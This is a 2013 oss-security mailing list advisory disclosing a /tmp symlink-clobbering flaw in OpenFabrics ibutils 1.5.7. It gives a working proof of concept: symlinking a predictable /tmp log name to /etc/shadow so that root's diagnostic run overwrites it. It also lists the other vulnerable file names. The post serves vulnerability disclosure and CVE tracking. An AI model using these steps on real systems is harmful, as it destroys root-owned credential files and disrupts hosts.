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Date: Mon, 25 Mar 2013 22:18:07 +0000 (GMT)
From: "Larry W. Cashdollar" <larry0@...com>
To: oss-security@...ts.openwall.com
Subject: Re: CVE request: ibutils improper use of files in /tmp
Sorry I missed sending this to the oss-security list:
OpenFabrics ibutils 1.5.7 /tmp clobbering vulnerability
3/6/2013
Larry W. Cashdollar
@_larry0
The infiniband diagnostic utiltiy handles files in /tmp insecurely. A malicious user can clobber root owned files with common symlink attacks.
http://www.openfabrics.org/downloads/ibutils/
[nobody@...b01 tmp]$ ln -s /etc/shadow ibdiagnet.log
[nobody@...b01 tmp]$ ls -l ibdiagnet.log lrwxrwxrwx 1 nobody users 11 Mar 6 18:19 ibdiagnet.log -> /etc/shadow [nobody@...b01 tmp]$
The following files are created, I imagine anyone of them can be used.
[root@...b01 tmp]# ls -l /tmp/ibdiagnet*
-rw-r--r-- 1 root root 57611 Mar 6 18:20 /tmp/ibdiagnet.db
-rw-r--r-- 1 root root 830 Mar 6 18:20 /tmp/ibdiagnet.fdbs
-rw-r--r-- 1 root root 5805 Mar 6 18:20 /tmp/ibdiagnet_ibis.log
-rw-r--r-- 1 root root 2359 Mar 6 18:20 /tmp/ibdiagnet.log
-rw-r--r-- 1 root root 7072 Mar 6 18:20 /tmp/ibdiagnet.lst
-rw-r--r-- 1 root root 456 Mar 6 18:20 /tmp/ibdiagnet.mcfdbs
-rw-r--r-- 1 root root 784 Mar 6 18:20 /tmp/ibdiagnet.pkey
-rw-r--r-- 1 root root 3348 Mar 6 18:20 /tmp/ibdiagnet.psl
-rw-r--r-- 1 root root 179228 Mar 6 18:20 /tmp/ibdiagnet.slvl
-rw-r--r-- 1 root root 193 Mar 6 18:20 /tmp/ibdiagnet.sm
After root runs a diagnostic command:
[root@...b01 tmp]# ibdiagnet -ls 10 -lw 4x -vlr Loading IBDIAGNET from: /usr/lib64/ibdiagnet1.5.7 -W- Topology file is not specified.
Reports regarding cluster links will use direct routes. Loading IBDM from: /usr/lib64/ibdm1.5.7 -W- A few ports of local device are up.
Since port-num was not specified (-p option), port 1 of device 1 will be used as the local port.
-I- Discovering ... 7 nodes (2 Switches & 5 CA-s) discovered. .
.
.
.
Extracting SL Based Routing Info 0 0
Please see /tmp/ibdiagnet.log for complete log
-I- Done. Run time was 2 seconds.
Symlinked files are overwritten:
[root@...b01 tmp] ls -l /etc/shadow
-rw------- 1 root root 2359 Mar 6 18:17 /etc/shadow [root@...b01 tmp] head /etc/shadow
-W- Topology file is not specified.
Reports regarding cluster links will use direct routes. -W- A few ports of local device are up.
Since port-num was not specified (-p option), port 1 of device 1 will be used as the local port.
-I- Discovering ... 7 nodes (2 Switches & 5 CA-s) discovered.
-I--------------------------------------------------- -I- Bad Guids/LIDs Info
Versions installed
[root@...b01 tmp] rpm -aq |grep ibutils ibutils-1.5.7-1.el5
ibutils-libs-1.5.7-1.el5
ibutils-devel-1.5.7-1.el5
[root@...b01 tmp]
ibis binary also creates files insecurely in /tmp: /tmp/ibis.log from the man page:
IBIS(1) IB MANAGEMENT IN-BAND SERVICES PACKAGE IBIS(1)
NAME
ibis - IB management Inband Services - an extended TCL shell
SYNOPSYS
ibis [-port_num ]
DESCRIPTION
ibis is a TCL shell extended with interface for sending and receiving IB management datagrams (MADS). To use this shell you
will write TCL code that excersizes the regular TCL command and the special API provided by this extension. Interactive use is
also possible and is greatly enhanced if tclreadline package is available on the machine.
The following sub sections provide detailed definition for the API and global objects defined by the extension. The different
MADs APIs are group by the management class.
http://vapid.dhs.org/advisories/ibutils-file-clobber.html
On Mar 25, 2013, at 02:49 PM, Vincent Danen <vdanen@...hat.com> wrote:
> It was reported on full-disclosure that ibutils suffers from improper
> use of files /tmp that could allow a user to clobber files as the user
> running ibutils (probably usually root).
>
> I didn't see a CVE request for this or anything show up here; if one
> hasn't been assigned, could it be?
>
> Thanks.
>
> References:
>
> http://seclists.org/fulldisclosure/2013/Mar/87
> https://bugzilla.redhat.com/show_bug.cgi?id=927430
>
>
> --
> Vincent Danen / Red Hat Security Response Team
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